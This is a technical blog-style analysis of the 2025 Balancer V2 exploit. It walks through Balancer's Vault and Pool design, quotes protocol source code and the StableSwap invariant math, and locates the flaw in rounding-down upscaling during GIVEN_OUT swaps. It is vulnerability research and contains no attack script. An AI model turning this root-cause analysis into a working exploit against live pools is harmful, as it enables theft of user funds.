I. Introduction

On November 3, 2025, attackers exploited arithmetic precision loss in Balancer pool invariant calculations, stealing $128 million from six blockchain networks in less than 30 minutes. I found this attack very interesting, but most existing online articles describe extremely limited technical details, such as precision loss in the _upscaleArray logic or adjacent one or two layers of the call chain, which is not very friendly to readers who are not yet familiar with Balancer’s specific details. Therefore, I wanted to organize all the relevant details comprehensively and take this opportunity to learn about the Balancer protocol.

II. Balancer Internal

In a nutshell: Balancer is a DeFi liquidity pool framework centered around Automated Market Makers (AMM). Does it feel like saying nothing? Don’t worry, let’s understand it step by step.

1. What is an AMM

What is an Automated Market Maker (AMM)? Let’s first understand what a market maker is. A Market Maker is a role that provides liquidity. For example, in stock trading, if there’s a huge gap between the bid and ask prices for a particular asset, it’s unfavorable for users to buy or sell, as large spreads can prevent trading at appropriate prices, leading to additional capital losses. Market makers provide liquidity by frequently placing orders in the order book to reduce the gap between buy and sell prices. If you’ve traded US stock options, you’ll particularly understand this, as options have poor liquidity due to their special nature, so most liquidity in the order book is provided by market makers.

For cryptocurrencies, similar problems arise in currency conversion. If users want to trade large amounts of their tokens, they need to find a place that can handle all their trades. The well-known Uniswap V2 is a classic example. It holds large amounts of TokenA/TokenB pairs and calculates token exchange prices by maintaining the x * y = k invariant. For example, if Uniswap’s k = 20,000 and currently holds 1000 USDC and 20 ETH, then the ETH/USDC exchange rate is 50. If the token amounts in Uniswap change to 2000 USDC and 10 ETH (note that k remains unchanged), then the ETH/USDC exchange rate becomes 200. You can see that trading venues like Uniswap automatically adjust their trading prices based on mathematical formula calculations, hence they are automated market makers. An Automated Market Maker is a role that can both automatically adjust prices based on market conditions and provide sufficient token liquidity to meet trading needs.

2. Balancer Components

The Balancer V2 documentation describes that Balancer mainly consists of two parts: Vault and Pools. Vault and Pools have a one-to-many relationship, so if users are involved in trading operations between multiple tokens, they only need to update accounting in the Vault, reducing redundant transfers and lowering gas costs.

Vault

The Vault (pkg/vault/contracts/Vault.sol) is the core of Balancer. It holds and manages all tokens in each Balancer pool and is also the entry point for most Balancer operations (swaps / joins / exits). However, it’s important to note that while the Vault holds tokens and maintains accounting, it does not perform specific fund management (for example, logic such as maintaining AMM invariants is not done in the vault). This logic is handled in Pools.

Pools

There are many different types of pools in Balancer. Here are a few simple or commonly used ones:

• Linear Pool: Uses known and stable exchange rates to allow swapping between base assets and their wrapped yield tokens. For example, in Aave, stablecoin DAI and aDAI (which represents deposits and continuously accrues interest after depositing DAI into Aave) can be efficiently swapped through a Linear Pool.
• Weight Pool: An extended version of the classic constant product market-making model (x · y = k) popularized by Uniswap V1.
• Composable Stable Pools: Liquidity pools designed for a set of assets that are highly correlated in value and expected to exchange stably at near 1:1 ratios or through known exchange rates. For example, trading between stablecoins like USDC, USDT, and DAI, which have minimal price volatility, making them very suitable for matching with low-slippage stable curves.

Regarding Composable Stable Pools, note the following:

1. This scenario differs from Linear Pool’s purpose: Composable Stable Pool handles exchanges between “multiple mutually equivalent stable assets”, while Linear Pool handles exchanges between “base assets and their yield tokens”. The two have significantly different mathematical structures and application scenarios.
2. Composable means that the pool’s BPT (Balancer Pool Token, the ERC20 share proof that liquidity providers receive after depositing assets into the pool) can itself participate as a composable asset in the construction of other pools. In other words, the pool’s LP tokens can be nested into higher-level pools like regular tokens, allowing different pools to freely combine, reference each other, and together form larger-scale, more capital-efficient liquidity structures. Although Linear Pool also registers its BPT to the Vault, these BPTs may not be used as composable assets to build other Pools.

3. Balancer Interaction Flow

Here we use the Vault + Composable Stable Pools combination as an example to introduce some of Balancer’s interaction flows.

Creating Composable Stable Pool Contracts

Let’s first look at what interaction flow occurs between the vault and pool when creating a pool, and what state variables are involved:

1. To create a new Composable Stable Pool, users can freely call the create function of the ComposableStablePoolFactory contract (pkg/pool-stable/contracts/ComposableStablePoolFactory.sol) to create a new ComposableStablePool contract.

2. The ComposableStablePool constructor will then automatically call vault.registerPool and vault.registerTokens to register this pool and related tokens into the vault. Note that the related tokens here include not only the underlying assets specified during registration but also the pool address itself (because the pool is its own BPT).

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

   // pkg/pool-stable/contracts/ComposableStablePool.sol constructor(NewPoolParams memory params) BasePool( params.vault, IVault.PoolSpecialization.GENERAL, params.name, params.symbol, _insertSorted(params.tokens, IERC20(this)), // <------ new address[](params.tokens.length + 1), // <------ params.swapFeePercentage, params.pauseWindowDuration, params.bufferPeriodDuration, params.owner ) StablePoolAmplification(params.amplificationParameter) ComposableStablePoolStorage(_extractStorageParams(params)) ComposableStablePoolRates(_extractRatesParams(params)) ProtocolFeeCache( params.protocolFeeProvider, ProviderFeeIDs({ swap: ProtocolFeeType.SWAP, yield: ProtocolFeeType.YIELD, aum: ProtocolFeeType.AUM }) ) { _version = params.version; } // pkg/pool-utils/contracts/lib/PoolRegistrationLib.sol function _registerPool( IVault vault, IVault.PoolSpecialization specialization, IERC20[] memory tokens, address[] memory assetManagers ) private returns (bytes32) { bytes32 poolId = vault.registerPool(specialization); // We don't need to check that tokens and assetManagers have the same length, since the Vault already performs // that check. vault.registerTokens(poolId, tokens, assetManagers); return poolId; }

   Let’s mention PoolSpecialization here. It determines the callback interface form that the Vault uses when calling the pool for swaps, thus affecting the pool’s gas costs and supported functionality:

   • General type is the most flexible, suitable for pools that need access to all token balances and complex mathematical logic.
   • Minimal Swap Info reduces callback data while maintaining functionality, commonly used for AMMs like Weight Pool that don’t need full state.
   • Two Token further restricts the pool to contain only two assets in exchange for the lowest swap gas cost.

   Different types of pools choose appropriate specializations to balance functionality and performance based on their invariant calculation requirements and expected swap complexity. Each pool hardcodes the PoolSpecialization parameter in its constructor. In ComposableStablePool, PoolSpecialization is set to GENERAL.

3. When the Vault receives function calls from a General Pool, it performs some calculations and state updates. One is in the registerPool function, where the vault calculates a unique pool ID for this pool and stores it in the _isPoolRegistered variable:

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

   // pkg/vault/contracts/PoolRegistry.sol function registerPool(PoolSpecialization specialization) external override nonReentrant whenNotPaused returns (bytes32) { // Each Pool is assigned a unique ID based on an incrementing nonce. This assumes there will never be more than // 2**80 Pools, and the nonce will not overflow. bytes32 poolId = _toPoolId(msg.sender, specialization, uint80(_nextPoolNonce)); _require(!_isPoolRegistered[poolId], Errors.INVALID_POOL_ID); // Should never happen as Pool IDs are unique. _isPoolRegistered[poolId] = true; _nextPoolNonce += 1; // Note that msg.sender is the pool's contract emit PoolRegistered(poolId, msg.sender, specialization); return poolId; }

   The other is in the registerTokens function, which sets _poolAssetManagers and _generalPoolsBalances respectively. Both use <poolId, token> as the key to store data. The former represents the administrator address that can manipulate the deposit/withdrawal/setting of balances for a token within the Pool, while the latter represents the balance state of a token in the Pool from the vault’s perspective. Therefore, we can see here that it is indeed the vault that stores the quantity information of each token in the Pool, which also facilitates swap exchanges.

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

   // pkg/vault/contracts/PoolTokens.sol function registerTokens( bytes32 poolId, IERC20[] memory tokens, address[] memory assetManagers ) external override nonReentrant whenNotPaused onlyPool(poolId) { InputHelpers.ensureInputLengthMatch(tokens.length, assetManagers.length); // Validates token addresses and assigns Asset Managers for (uint256 i = 0; i < tokens.length; ++i) { IERC20 token = tokens[i]; _require(token != IERC20(0), Errors.INVALID_TOKEN); _poolAssetManagers[poolId][token] = assetManagers[i]; } PoolSpecialization specialization = _getPoolSpecialization(poolId); if (specialization == PoolSpecialization.TWO_TOKEN) { _require(tokens.length == 2, Errors.TOKENS_LENGTH_MUST_BE_2); _registerTwoTokenPoolTokens(poolId, tokens[0], tokens[1]); } else if (specialization == PoolSpecialization.MINIMAL_SWAP_INFO) { _registerMinimalSwapInfoPoolTokens(poolId, tokens); } else { // PoolSpecialization.GENERAL _registerGeneralPoolTokens(poolId, tokens); // <------- } emit TokensRegistered(poolId, tokens, assetManagers); } // pkg/vault/contracts/balances/GeneralPoolsBalance.sol function _registerGeneralPoolTokens(bytes32 poolId, IERC20[] memory tokens) internal { EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId]; for (uint256 i = 0; i < tokens.length; ++i) { // EnumerableMaps require an explicit initial value when creating a key-value pair: we use zero, the same // value that is found in uninitialized storage, which corresponds to an empty balance. bool added = poolBalances.set(tokens[i], 0); _require(added, Errors.TOKEN_ALREADY_REGISTERED); } }

   At this point, we must mention the data storage format of Pool Balances in the vault. The balance information stored in _generalPoolsBalances for each pool on a token is represented as bytes32, which contains three fields:

   • cash 112 bits, representing the amount of tokens currently stored in the Vault for this Pool
   • managed 112 bits, representing the amount of tokens withdrawn from the Vault by the Pool’s Asset Manager and held externally
   • lastChangeBlock 32 bits, representing the block number of the last balance change, used to prevent sandwich attacks

   The core purpose of this design is to allow liquidity to earn higher returns while maintaining normal AMM operation. In the early Uniswap model, to maintain x·y = k, most liquidity had to be locked inside the contract, making it impossible to perform any external investments and thus unable to generate additional returns. Balancer’s architecture allows Asset Managers to withdraw some funds from the Vault for lending, investment, or other yield strategies. The Pool’s total balance still equals total = cash + managed, but the managed portion can be flexibly utilized to earn additional returns; only when events like swap, join, or exit occur will the cash amount stored in the Vault be updated. This ensures both AMM availability and improved overall capital efficiency.

Adding Liquidity

When a Liquidity Provider (LP) wants to add liquidity to a Pool, the LP can inject funds by calling the joinPool function on the vault. The vault.joinPool function will call the specific pool’s onJoinPool function (for exiting liquidity, it calls vault.exitPool and pool.onExitPool functions respectively). Below is the code for the onJoinPool / onExitPool functions. It can be seen that these two are inherited by all types of Pools, and specifically different types of Pools implement different hook functions like _onInitializePool / _onJoinPool / _onExitPool to calculate the amounts of funds flowing in and out, but BPT minting and burning happens here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119

// pkg/pool-utils/contracts/BasePool.sol
/**
 * @notice Vault hook for adding liquidity to a pool (including the first time, "initializing" the pool).
 * @dev This function can only be called from the Vault, from `joinPool`.
 */
function onJoinPool(
    bytes32 poolId,
    address sender,
    address recipient,
    uint256[] memory balances,
    uint256 lastChangeBlock,
    uint256 protocolSwapFeePercentage,
    bytes memory userData
) external override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
    _beforeSwapJoinExit();

    uint256[] memory scalingFactors = _scalingFactors();

    if (totalSupply() == 0) {
        (uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool(
            poolId,
            sender,
            recipient,
            scalingFactors,
            userData
        );

        // On initialization, we lock _getMinimumBpt() by minting it for the zero address. This BPT acts as a
        // minimum as it will never be burned, which reduces potential issues with rounding, and also prevents the
        // Pool from ever being fully drained.
        _require(bptAmountOut >= _getMinimumBpt(), Errors.MINIMUM_BPT);
        _mintPoolTokens(address(0), _getMinimumBpt());
        _mintPoolTokens(recipient, bptAmountOut - _getMinimumBpt());

        // amountsIn are amounts entering the Pool, so we round up.
        _downscaleUpArray(amountsIn, scalingFactors);

        return (amountsIn, new uint256[](balances.length));
    } else {
        _upscaleArray(balances, scalingFactors);
        (uint256 bptAmountOut, uint256[] memory amountsIn) = _onJoinPool(
            poolId,
            sender,
            recipient,
            balances,
            lastChangeBlock,
            inRecoveryMode() ? 0 : protocolSwapFeePercentage, // Protocol fees are disabled while in recovery mode
            scalingFactors,
            userData
        );

        // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it.

        _mintPoolTokens(recipient, bptAmountOut);

        // amountsIn are amounts entering the Pool, so we round up.
        _downscaleUpArray(amountsIn, scalingFactors);

        // This Pool ignores the `dueProtocolFees` return value, so we simply return a zeroed-out array.
        return (amountsIn, new uint256[](balances.length));
    }
}

/**
 * @notice Vault hook for removing liquidity from a pool.
 * @dev This function can only be called from the Vault, from `exitPool`.
 */
function onExitPool(
    bytes32 poolId,
    address sender,
    address recipient,
    uint256[] memory balances,
    uint256 lastChangeBlock,
    uint256 protocolSwapFeePercentage,
    bytes memory userData
) external override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
    uint256[] memory amountsOut;
    uint256 bptAmountIn;

    // When a user calls `exitPool`, this is the first point of entry from the Vault.
    // We first check whether this is a Recovery Mode exit - if so, we proceed using this special lightweight exit
    // mechanism which avoids computing any complex values, interacting with external contracts, etc., and generally
    // should always work, even if the Pool's mathematics or a dependency break down.
    if (userData.isRecoveryModeExitKind()) {
        // This exit kind is only available in Recovery Mode.
        _ensureInRecoveryMode();

        // Note that we don't upscale balances nor downscale amountsOut - we don't care about scaling factors during
        // a recovery mode exit.
        (bptAmountIn, amountsOut) = _doRecoveryModeExit(balances, totalSupply(), userData);
    } else {
        // Note that we only call this if we're not in a recovery mode exit.
        _beforeSwapJoinExit();

        uint256[] memory scalingFactors = _scalingFactors();
        _upscaleArray(balances, scalingFactors);

        (bptAmountIn, amountsOut) = _onExitPool(
            poolId,
            sender,
            recipient,
            balances,
            lastChangeBlock,
            inRecoveryMode() ? 0 : protocolSwapFeePercentage, // Protocol fees are disabled while in recovery mode
            scalingFactors,
            userData
        );

        // amountsOut are amounts exiting the Pool, so we round down.
        _downscaleDownArray(amountsOut, scalingFactors);
    }

    // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it.

    _burnPoolTokens(sender, bptAmountIn);

    // This Pool ignores the `dueProtocolFees` return value, so we simply return a zeroed-out array.
    return (amountsOut, new uint256[](balances.length));
}

Swap Operations

In Balancer, users can exchange tokens with the Vault through swap and batchSwap without directly trusting the Pool contract itself, as all security checks are performed by the Vault. swap is used to execute a single token exchange, while batchSwap can execute multiple exchanges sequentially in the same transaction and supports multihop chain exchanges.

Each swap contains a tokenIn and a tokenOut: the former is sent by the user to the Pool, and the latter is sent by the Pool to the recipient. Depending on the user’s intent, swaps are divided into two types:

• GIVEN_IN: Fixed input amount, with the output amount calculated by the Pool through the onSwap hook
• GIVEN_OUT: Fixed output amount, also calculated by the Pool through the onSwap hook

Note: In batchSwap, although multiple swap operations are involved, these swap operations all share one type, meaning either all swaps are GIVEN_IN type or all are GIVEN_OUT type. This SwapKind is specified by the user when calling batchSwap through function call parameters, so there won’t be a situation where different swaps in one batchSwap have mixed Kind calculations.

Regardless of how many exchanges are performed, the Vault will first complete all intermediate calculations and then settle the net changes of tokens in one step at the end, significantly saving gas, especially during multihop or cross-pool exchanges.

When performing multiple token conversions in multihop (for example, TokenA/TokenB swap first, then TokenB/TokenC conversion), you can set the tokenIn amount to 0 in subsequent swaps, which will use the token amount that flowed out from the previous swap, simplifying the calculation logic so users don’t need to calculate the amount for each swap.

Note: Users are obligated to maintain the correct Swap order according to SwapKind. For example, suppose there are two swap pairs: TokenA/TokenB and TokenB/TokenC. If the user wants:

1. To swap 100 TokenA for TokenC, they need to set:
   • SwapKind to GIVEN_IN
   • SwapSteps to 100 TokenA/TokenB -> 0 TokenB/TokenC. This means using 100 TokenA to exchange for TokenB, and using all the TokenB obtained from the exchange to exchange for TokenC (the amount for the second step TokenB/TokenC swap operation is set to 0 to indicate using the exchange result amount from the previous step).
2. To swap TokenA for 100 TokenC, they need to set:
   • SwapKind to GIVEN_OUT
   • SwapSteps to 100 TokenB/TokenC -> 0 TokenA/TokenB. This means working backwards: if 100 TokenC are needed, calculate how many TokenB need to be provided, then use the calculated required TokenB amount to work backwards to determine how many TokenA need to be provided.

Since batchSwap needs to support both types of swaps, pools need to implement share calculation methods favorable to the protocol for both swap directions. The function call path is: batchSwap → _swapWithPools → _swapWithPool → _processGeneralPoolSwapRequest → BaseGeneralPool.onSwap → BaseGeneralPool._swapGivenIn/_swapGivenOut → the _swapGivenIn/_swapGivenOut hook functions implemented by specific pools. Among these, the BaseGeneralPool._swapGivenIn/_swapGivenOut functions can be overridden. ComposableStablePool overrides these two _swapGivenIn/_swapGivenOut functions to specifically handle BPT swap logic.

For ComposableStablePool, which is a GeneralPool, the pool balances that the vault operates on when processing swaps are the _generalPoolsBalances state variable we introduced earlier. You can quickly see how it keeps accounts from here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

// pkg/vault/contracts/Swaps.sol
function _processGeneralPoolSwapRequest(IPoolSwapStructs.SwapRequest memory request, IGeneralPool pool)
    private
    returns (uint256 amountCalculated)
{
    bytes32 tokenInBalance;
    bytes32 tokenOutBalance;

    // We access both token indexes without checking existence, because we will do it manually immediately after.
    EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[request.poolId];
    uint256 indexIn = poolBalances.unchecked_indexOf(request.tokenIn);
    uint256 indexOut = poolBalances.unchecked_indexOf(request.tokenOut);

    if (indexIn == 0 || indexOut == 0) {
        // The tokens might not be registered because the Pool itself is not registered. We check this to provide a
        // more accurate revert reason.
        _ensureRegisteredPool(request.poolId);
        _revert(Errors.TOKEN_NOT_REGISTERED);
    }

    // EnumerableMap stores indices *plus one* to use the zero index as a sentinel value - because these are valid,
    // we can undo this.
    indexIn -= 1;
    indexOut -= 1;

    uint256 tokenAmount = poolBalances.length();
    uint256[] memory currentBalances = new uint256[](tokenAmount);

    request.lastChangeBlock = 0;
    for (uint256 i = 0; i < tokenAmount; i++) {
        // Because the iteration is bounded by `tokenAmount`, and no tokens are registered or deregistered here, we
        // know `i` is a valid token index and can use `unchecked_valueAt` to save storage reads.
        bytes32 balance = poolBalances.unchecked_valueAt(i);

        currentBalances[i] = balance.total();
        request.lastChangeBlock = Math.max(request.lastChangeBlock, balance.lastChangeBlock());

        if (i == indexIn) {
            tokenInBalance = balance;
        } else if (i == indexOut) {
            tokenOutBalance = balance;
        }
    }

    // Perform the swap request callback and compute the new balances for 'token in' and 'token out' after the swap
    amountCalculated = pool.onSwap(request, currentBalances, indexIn, indexOut);
    (uint256 amountIn, uint256 amountOut) = _getAmounts(request.kind, request.amount, amountCalculated);
    tokenInBalance = tokenInBalance.increaseCash(amountIn);
    tokenOutBalance = tokenOutBalance.decreaseCash(amountOut);

    // Because no tokens were registered or deregistered between now or when we retrieved the indexes for
    // 'token in' and 'token out', we can use `unchecked_setAt` to save storage reads.
    poolBalances.unchecked_setAt(indexIn, tokenInBalance);
    poolBalances.unchecked_setAt(indexOut, tokenOutBalance);
}

III. Vulnerability Analysis

Let’s see how this vulnerability is triggered. First, we need to clone the balancer/balancer-v2-monorepo repository and checkout commit 88842344fb5f44d8ed6f8f944acd3be80627df87.

Note: The latest version of Balancer is v3, so there is also a v3 repository on GitHub, but the vulnerability exists in the v2 version, so don’t get confused. Also, this commit is the latest commit as of 2025/11/20, and the vulnerability patch still hasn’t been pushed up two weeks after the attack incident.

1. Vulnerable Code

In the previous section, we described Balancer’s interaction flow in detail and have a relatively clear understanding of some operations and variables, so understanding this vulnerability is no longer difficult. This vulnerability is actually quite simple. When a user calls vault.batchSwap with SwapKind.GIVEN_OUT, if the swap involves ComposableStablePool and tokenIn/tokenOut is not BPT, it will actually call the base class BaseGeneralPool._swapGivenOut to calculate the required tokenIn amount:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

// pkg/pool-stable/contracts/ComposableStablePool.sol
/**
 * @dev Override this hook called by the base class `onSwap`, to check whether we are doing a regular swap,
 * or a swap involving BPT, which is equivalent to a single token join or exit. Since one of the Pool's
 * tokens is the preminted BPT, we need to handle swaps where BPT is involved separately.
 *
 * At this point, the balances are unscaled. The indices and balances are coming from the Vault, so they
 * refer to the full set of registered tokens (including BPT).
 *
 * If this is a swap involving BPT, call `_swapWithBpt`, which computes the amountOut using the swapFeePercentage
 * and charges protocol fees, in the same manner as single token join/exits. Otherwise, perform the default
 * processing for a regular swap.
 */
function _swapGivenOut(
    SwapRequest memory swapRequest,
    uint256[] memory registeredBalances,
    uint256 registeredIndexIn,
    uint256 registeredIndexOut,
    uint256[] memory scalingFactors
) internal virtual override returns (uint256) {
    return
        (swapRequest.tokenIn == IERC20(this) || swapRequest.tokenOut == IERC20(this))
            ? _swapWithBpt(swapRequest, registeredBalances, registeredIndexIn, registeredIndexOut, scalingFactors)
            : super._swapGivenOut( // <------ [1]
                swapRequest,
                registeredBalances,
                registeredIndexIn,
                registeredIndexOut,
                scalingFactors
            );
}

// pkg/pool-utils/contracts/BaseGeneralPool.sol
function _swapGivenOut(
    SwapRequest memory swapRequest,
    uint256[] memory balances,
    uint256 indexIn,
    uint256 indexOut,
    uint256[] memory scalingFactors
) internal virtual returns (uint256) {
    _upscaleArray(balances, scalingFactors);
    swapRequest.amount = _upscale(swapRequest.amount, scalingFactors[indexOut]); // <---- [2]

    uint256 amountIn = _onSwapGivenOut(swapRequest, balances, indexIn, indexOut);

    // amountIn tokens are entering the Pool, so we round up.
    amountIn = _downscaleUp(amountIn, scalingFactors[indexIn]);

    // Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis.
    return _addSwapFeeAmount(amountIn);
}

// pkg/solidity-utils/contracts/helpers/ScalingHelpers.sol
/**
 * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed
 * scaling or not.
 */
function _upscale(uint256 amount, uint256 scalingFactor) pure returns (uint256) {
    // Upscale rounding wouldn't necessarily always go in the same direction: in a swap for example the balance of
    // token in should be rounded up, and that of token out rounded down. This is the only place where we round in
    // the same direction for all amounts, as the impact of this rounding is expected to be minimal.
    return FixedPoint.mulDown(amount, scalingFactor); // <----- [3]
}

From the code, we can see that even when calculating the required tokenIn amount for GivenOut, BaseGeneralPool._swapGivenOut still uses mulDown for upscaling. However, in the GivenOut context, mulDown favors users rather than the protocol, because swapRequest.amount at this point represents how many tokenOut the user needs. If the token value calculated by _upscale is set too low, it may not ensure that the user pays enough value.

For example, for a TokenB/TokenC swap where amount = 100 means the user needs 100 tokenC, this is used to calculate how many TokenB the pool needs from the user. If the amount is reduced, then naturally the calculated amount of tokenA that needs to be transferred from the user to the vault will also decrease.

This is the actual key code of the vulnerability. However, the comments show that developers believed the impact here would be minimal (the impact of this rounding is expected to be minimal). So what caused this supposedly minimal impact to result in such massive token theft? This requires careful analysis of several key points. First, let’s go through the scalingFactor calculation process.

In ComposableStablePool, the calculated scalingFactor will equal the token’s current decimal multiplied by the token rate, which will result in a value with 1e18 precision, and the 1e18 precision will be removed in the final step of FixedPoint.mulDown in _upscale.

For example, if _scalingFactor0 is 1e18 and tokenRate0 is 1.1e18, then the _scalingFactors function will calculate a result of 1.1e18.
Next, calling the _upscale function with a very small value as the amount parameter, for example executing _upscale(9, 1.1e18), the final calculated result will be 9.9e18 % 1e18 = ~~9.9~~ 9. We can see that this calculation loses 0.9 in precision, which is equivalent to a 10% precision loss.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

// pkg/pool-stable/contracts/ComposableStablePoolRates.sol
/**
 * @dev Overrides scaling factor getter to compute the tokens' rates.
 */
function _scalingFactors() internal view virtual override returns (uint256[] memory) {
    // There is no need to check the arrays length since both are based on `_getTotalTokens`
    uint256 totalTokens = _getTotalTokens();
    uint256[] memory scalingFactors = new uint256[](totalTokens);

    for (uint256 i = 0; i < totalTokens; ++i) {
        scalingFactors[i] = _getScalingFactor(i).mulDown(_getTokenRate(i)); // <---
    }

    return scalingFactors;
}

However, analyzing only up to this point is not enough. The core issue of the attack incident is not here. First, although when the _upscale amount parameter is a very small value like 9, we can indeed see obvious precision loss, the logical meaning of this small value 9 is just 9 wei. If an attacker only steals 1 wei per swap, that money wouldn’t even be enough to pay for the gas fee of a single swap. This is probably why the _upscale developers believed the impact would be minimal. Second, the logic of multiplying by tokenRate in the _scalingFactors calculation process is also not problematic, because Linear Pool has similar logic, but Linear Pool is not within the scope of this attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

// pkg/pool-linear/contracts/LinearPool.sol
function _scalingFactor(IERC20 token) internal view virtual returns (uint256) {
    if (token == _mainToken) {
        return _scalingFactorMainToken;
    } else if (token == _wrappedToken) {
        // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token
        // increases in value.
        return _scalingFactorWrappedToken.mulDown(_getWrappedTokenRate()); // <--------
    } else if (token == this) {
        return FixedPoint.ONE;
    } else {
        _revert(Errors.INVALID_TOKEN);
    }
}

So where is the problem??? It’s time to learn about the Stable Pool’s mathematical model.

2. Stable Pool Mathematical Model

This section introduces the Stable Pool’s mathematical model. For learning purposes, it involves additional background knowledge, and not all content is related to the vulnerability.

During the swap process, the control flow will enter the specific swap share calculation logic through the call chain BaseGeneralPool._swapGivenOut → ComposableStablePool._onSwapGivenOut → ComposableStablePool._onRegularSwap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

/**
 * @dev Perform a swap between non-BPT tokens. Scaling and fee adjustments have been performed upstream, so
 * all we need to do here is calculate the price quote, depending on the direction of the swap.
 */
function _onRegularSwap(
    bool isGivenIn,
    uint256 amountGiven,
    uint256[] memory registeredBalances,
    uint256 registeredIndexIn,
    uint256 registeredIndexOut
) private view returns (uint256) {
    // Adjust indices and balances for BPT token
    uint256[] memory balances = _dropBptItem(registeredBalances);
    uint256 indexIn = _skipBptIndex(registeredIndexIn);
    uint256 indexOut = _skipBptIndex(registeredIndexOut);

    (uint256 currentAmp, ) = _getAmplificationParameter();
    uint256 invariant = StableMath._calculateInvariant(currentAmp, balances);

    if (isGivenIn) {
        return StableMath._calcOutGivenIn(currentAmp, balances, indexIn, indexOut, amountGiven, invariant);
    } else {
        return StableMath._calcInGivenOut(currentAmp, balances, indexIn, indexOut, amountGiven, invariant);
    }
}

Here we can see several functions used to calculate shares:

• _getAmplificationParameter: Gets the amplification factor, which is a hyperparameter that can be smoothly modified by administrators over time
• _calculateInvariant: Calculates the invariant D
• _calcOutGivenIn/_calcInGivenOut: Based on the previously calculated invariant D and the token exchange direction, calculates how many tokenOut can be exchanged for amountGiven tokenIn

For Automated Market Makers (AMM), they generally need to follow the mathematical formula $f(\mathbf{B}^{\text{prev}}; \boldsymbol{\theta})=f(\mathbf{B}^{\text{after}}; \boldsymbol{\theta})=D$ to ensure that token exchange prices can automatically adjust with trades.

Where $\mathbf{B} = (B_1, B_2,…)$ represents the balances of multiple tokens (note that the balances here are values after multiplying by Token Rate), $\boldsymbol{\theta}=(\theta_1,\theta_2,…)$ represents hyperparameters (the AmplificationParameter above is a hyperparameter), and $D$ is the invariant of the formula. Token balance changes maintain price stability through the invariant.

Different token pairs have different price behaviors and risk characteristics, so the invariant function f also needs to vary with market structure. For Stable Pools, since stablecoin exchange relationships are usually maintained at fixed ratios over the long term, such as 1:1, it’s natural to want the pool to have as much liquidity depth as possible near this price critical point, so that even large-scale trades won’t cause significant price volatility, thereby reducing slippage and improving trading experience. At the same time, when prices significantly deviate from this fixed ratio, prices must have sufficient sensitivity so that the cost of continuing to trade rises rapidly, preventing one side of assets from being over-drained and providing arbitrageurs with motivation to restore price anchoring. The effect is roughly like this:

• Price-Liquidity Chart: We can see that liquidity is very high near price 1.0, because stablecoin price movements themselves are extremely slight; liquidity at distant prices is relatively lower.

  

• TokenA Liquidity-TokenB Liquidity Chart (50/50 Stable Pool): Roughly the effect of the orange line in the chart, approaching a constant sum line near 0.5, and approaching a constant product line in extreme situations.

  The chart was drawn with ChatGPT, so this chart is just to give readers a general impression and expected understanding, and the mathematical formulas should not be scrutinized in detail.

  

Therefore, the invariant function adopted by Stable Pool is not simply a constant sum model or constant product model, but rather achieves a continuous transition between the two by introducing hyperparameters such as amplification factors:

• When prices are near the anchoring interval, its behavior is closer to the constant sum curve x + y = k, providing nearly stable exchange rates
• As prices gradually deviate from this interval, the invariant function gradually degenerates toward the constant product curve x * y = k, making the price curve steeper and strengthening the system’s safety and robustness in extreme situations

The _calculateInvariant function maintains such an invariant formula, where:

$$A n^{n} S + D = A D n^{n}+\frac{D^{n+1}}{n^{n} P},\quad S = \sum_{i=1}^{n} x_i,; P = \prod_{i=1}^{n} x_i $$

• A: Amplification factor, a hyperparameter.
• n: Total number of tokens.
• S: Sum of all token balances.
• P: Product of all token balances.
• D: The invariant mentioned above that needs to be maintained during token swaps, the value to be calculated.

Note: The mathematical formulas here are not related to the vulnerability exploitation. Readers who are not interested can skip this.

Thus, if:

• Pool is near equilibrium: For example, when all balances satisfy $x_i \approx \frac{D}{n}$, we have $P \approx \left(\frac{D}{n}\right)^n$. At this point, the term amplified by A dominates the equation, and the solution approaches $D \approx S$, thus obtaining $x_1 + x_2 + \cdots + x_n \approx D$. This indicates that near the anchoring price, the pool’s behavior is close to the constant sum model, with an almost linear price curve and minimal slippage, corresponding to high liquidity and price stability regions.
• A token balance approaches zero: For example, $x_k \to 0$, then $P = \prod_{i=1}^{n} x_i \to 0$. At this point, the term $\frac{D^{n+1}}{n^{n} P}$ becomes extremely large and dominates the entire equation, making it approximately satisfy $D^{n+1} \propto P$, thus degenerating to constant product-like behavior in boundary regions, where prices change drastically with trading volume, slippage increases rapidly, effectively preventing a single asset from being completely drained.

